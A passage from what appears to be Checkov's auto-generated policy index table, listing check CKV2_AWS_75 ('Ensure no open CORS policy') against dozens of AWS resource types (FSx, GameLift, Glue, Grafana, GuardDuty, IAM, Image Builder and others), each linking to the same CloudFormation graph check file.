| CKV2_AWS_75 | resource | aws_fsx_ontap_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 800 | CKV2_AWS_75 | resource | aws_fsx_ontap_storage_virtual_machine | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 801 | CKV2_AWS_75 | resource | aws_fsx_ontap_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 802 | CKV2_AWS_75 | resource | aws_fsx_openzfs_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 803 | CKV2_AWS_75 | resource | aws_fsx_openzfs_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 804 | CKV2_AWS_75 | resource | aws_fsx_openzfs_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 805 | CKV2_AWS_75 | resource | aws_fsx_windows_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 806 | CKV2_AWS_75 | resource | aws_gamelift_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 807 | CKV2_AWS_75 | resource | aws_gamelift_build | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 808 | CKV2_AWS_75 | resource | aws_gamelift_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 809 | CKV2_AWS_75 | resource | aws_gamelift_game_server_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 810 | CKV2_AWS_75 | resource | aws_gamelift_game_session_queue | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 811 | CKV2_AWS_75 | resource | aws_gamelift_script | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 812 | CKV2_AWS_75 | resource | aws_glacier_vault | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 813 | CKV2_AWS_75 | resource | aws_glacier_vault_lock | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 814 | CKV2_AWS_75 | resource | aws_globalaccelerator_accelerator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 815 | CKV2_AWS_75 | resource | aws_globalaccelerator_cross_account_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 816 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_accelerator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 817 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_endpoint_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 818 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_listener | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 819 | CKV2_AWS_75 | resource | aws_globalaccelerator_endpoint_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 820 | CKV2_AWS_75 | resource | aws_globalaccelerator_listener | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 821 | CKV2_AWS_75 | resource | aws_glue_catalog_database | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 822 | CKV2_AWS_75 | resource | aws_glue_catalog_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 823 | CKV2_AWS_75 | resource | aws_glue_catalog_table_optimizer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 824 | CKV2_AWS_75 | resource | aws_glue_classifier | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 825 | CKV2_AWS_75 | resource | aws_glue_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 826 | CKV2_AWS_75 | resource | aws_glue_crawler | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 827 | CKV2_AWS_75 | resource | aws_glue_data_catalog_encryption_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 828 | CKV2_AWS_75 | resource | aws_glue_data_quality_ruleset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 829 | CKV2_AWS_75 | resource | aws_glue_dev_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 830 | CKV2_AWS_75 | resource | aws_glue_job | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 831 | CKV2_AWS_75 | resource | aws_glue_ml_transform | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 832 | CKV2_AWS_75 | resource | aws_glue_partition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 833 | CKV2_AWS_75 | resource | aws_glue_partition_index | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 834 | CKV2_AWS_75 | resource | aws_glue_registry | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 835 | CKV2_AWS_75 | resource | aws_glue_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 836 | CKV2_AWS_75 | resource | aws_glue_schema | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 837 | CKV2_AWS_75 | resource | aws_glue_security_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 838 | CKV2_AWS_75 | resource | aws_glue_trigger | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 839 | CKV2_AWS_75 | resource | aws_glue_user_defined_function | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 840 | CKV2_AWS_75 | resource | aws_glue_workflow | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 841 | CKV2_AWS_75 | resource | aws_grafana_license_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 842 | CKV2_AWS_75 | resource | aws_grafana_role_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 843 | CKV2_AWS_75 | resource | aws_grafana_workspace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 844 | CKV2_AWS_75 | resource | aws_grafana_workspace_api_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 845 | CKV2_AWS_75 | resource | aws_grafana_workspace_saml_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 846 | CKV2_AWS_75 | resource | aws_grafana_workspace_service_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 847 | CKV2_AWS_75 | resource | aws_grafana_workspace_service_account_token | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 848 | CKV2_AWS_75 | resource | aws_guardduty_detector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 849 | CKV2_AWS_75 | resource | aws_guardduty_detector_feature | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 850 | CKV2_AWS_75 | resource | aws_guardduty_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 851 | CKV2_AWS_75 | resource | aws_guardduty_invite_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 852 | CKV2_AWS_75 | resource | aws_guardduty_ipset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 853 | CKV2_AWS_75 | resource | aws_guardduty_malware_protection_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 854 | CKV2_AWS_75 | resource | aws_guardduty_member | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 855 | CKV2_AWS_75 | resource | aws_guardduty_member_detector_feature | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 856 | CKV2_AWS_75 | resource | aws_guardduty_organization_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 857 | CKV2_AWS_75 | resource | aws_guardduty_organization_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 858 | CKV2_AWS_75 | resource | aws_guardduty_organization_configuration_feature | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 859 | CKV2_AWS_75 | resource | aws_guardduty_publishing_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 860 | CKV2_AWS_75 | resource | aws_guardduty_threatintelset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 861 | CKV2_AWS_75 | resource | aws_iam_access_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 862 | CKV2_AWS_75 | resource | aws_iam_account_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 863 | CKV2_AWS_75 | resource | aws_iam_account_password_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 864 | CKV2_AWS_75 | resource | aws_iam_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 865 | CKV2_AWS_75 | resource | aws_iam_group_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 866 | CKV2_AWS_75 | resource | aws_iam_group_policies_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 867 | CKV2_AWS_75 | resource | aws_iam_group_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 868 | CKV2_AWS_75 | resource | aws_iam_group_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 869 | CKV2_AWS_75 | resource | aws_iam_group_policy_attachments_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 870 | CKV2_AWS_75 | resource | aws_iam_instance_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 871 | CKV2_AWS_75 | resource | aws_iam_openid_connect_provider | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 872 | CKV2_AWS_75 | resource | aws_iam_organizations_features | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 873 | CKV2_AWS_75 | resource | aws_iam_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 874 | CKV2_AWS_75 | resource | aws_iam_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 875 | CKV2_AWS_75 | resource | aws_iam_policy_document | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 876 | CKV2_AWS_75 | resource | aws_iam_role | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 877 | CKV2_AWS_75 | resource | aws_iam_role_policies_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 878 | CKV2_AWS_75 | resource | aws_iam_role_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 879 | CKV2_AWS_75 | resource | aws_iam_role_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 880 | CKV2_AWS_75 | resource | aws_iam_role_policy_attachments_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 881 | CKV2_AWS_75 | resource | aws_iam_saml_provider | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 882 | CKV2_AWS_75 | resource | aws_iam_security_token_service_preferences | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 883 | CKV2_AWS_75 | resource | aws_iam_server_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 884 | CKV2_AWS_75 | resource | aws_iam_service_linked_role | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 885 | CKV2_AWS_75 | resource | aws_iam_service_specific_credential | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 886 | CKV2_AWS_75 | resource | aws_iam_signing_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 887 | CKV2_AWS_75 | resource | aws_iam_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 888 | CKV2_AWS_75 | resource | aws_iam_user_group_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 889 | CKV2_AWS_75 | resource | aws_iam_user_login_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 890 | CKV2_AWS_75 | resource | aws_iam_user_policies_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 891 | CKV2_AWS_75 | resource | aws_iam_user_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 892 | CKV2_AWS_75 | resource | aws_iam_user_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 893 | CKV2_AWS_75 | resource | aws_iam_user_policy_attachments_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 894 | CKV2_AWS_75 | resource | aws_iam_user_ssh_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 895 | CKV2_AWS_75 | resource | aws_iam_virtual_mfa_device | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 896 | CKV2_AWS_75 | resource | aws_identitystore_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 897 | CKV2_AWS_75 | resource | aws_identitystore_group_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 898 | CKV2_AWS_75 | resource | aws_identitystore_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 899 | CKV2_AWS_75 | resource | aws_imagebuilder_component | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 900 | CKV2_AWS_75 | resource | aws_imagebuilder_container_recipe | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 901 | CKV2_AWS_75 | resource | aws_imagebuilder_distribution_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 902 | CKV2_AWS_75 | resource | aws_imagebuilder_image | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 903 | CKV2_AWS_75 | resource | aws_imagebuilder_image_pipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 904 | CKV2_AWS_75 | resource | aws_imagebuilder_image_recipe | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 905 | CKV2_AWS_75 | resource | aws_imagebuilder_infrastructure_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 906 | CKV2_AWS_75 | resource | aws_imagebuilder_lifecycle_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 907 | CKV2_AWS_75 | resource | aws_imagebuilder_workflow | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 908 | CKV2_AWS_75 | resource | aws_inspector2_delegated_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 909 | CKV2_AWS_75 | resource | aws_inspector2_enabler | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 910 | CKV2_AWS_75 | resource | aws_inspector2_member_association | Ensure no open CORS policy | 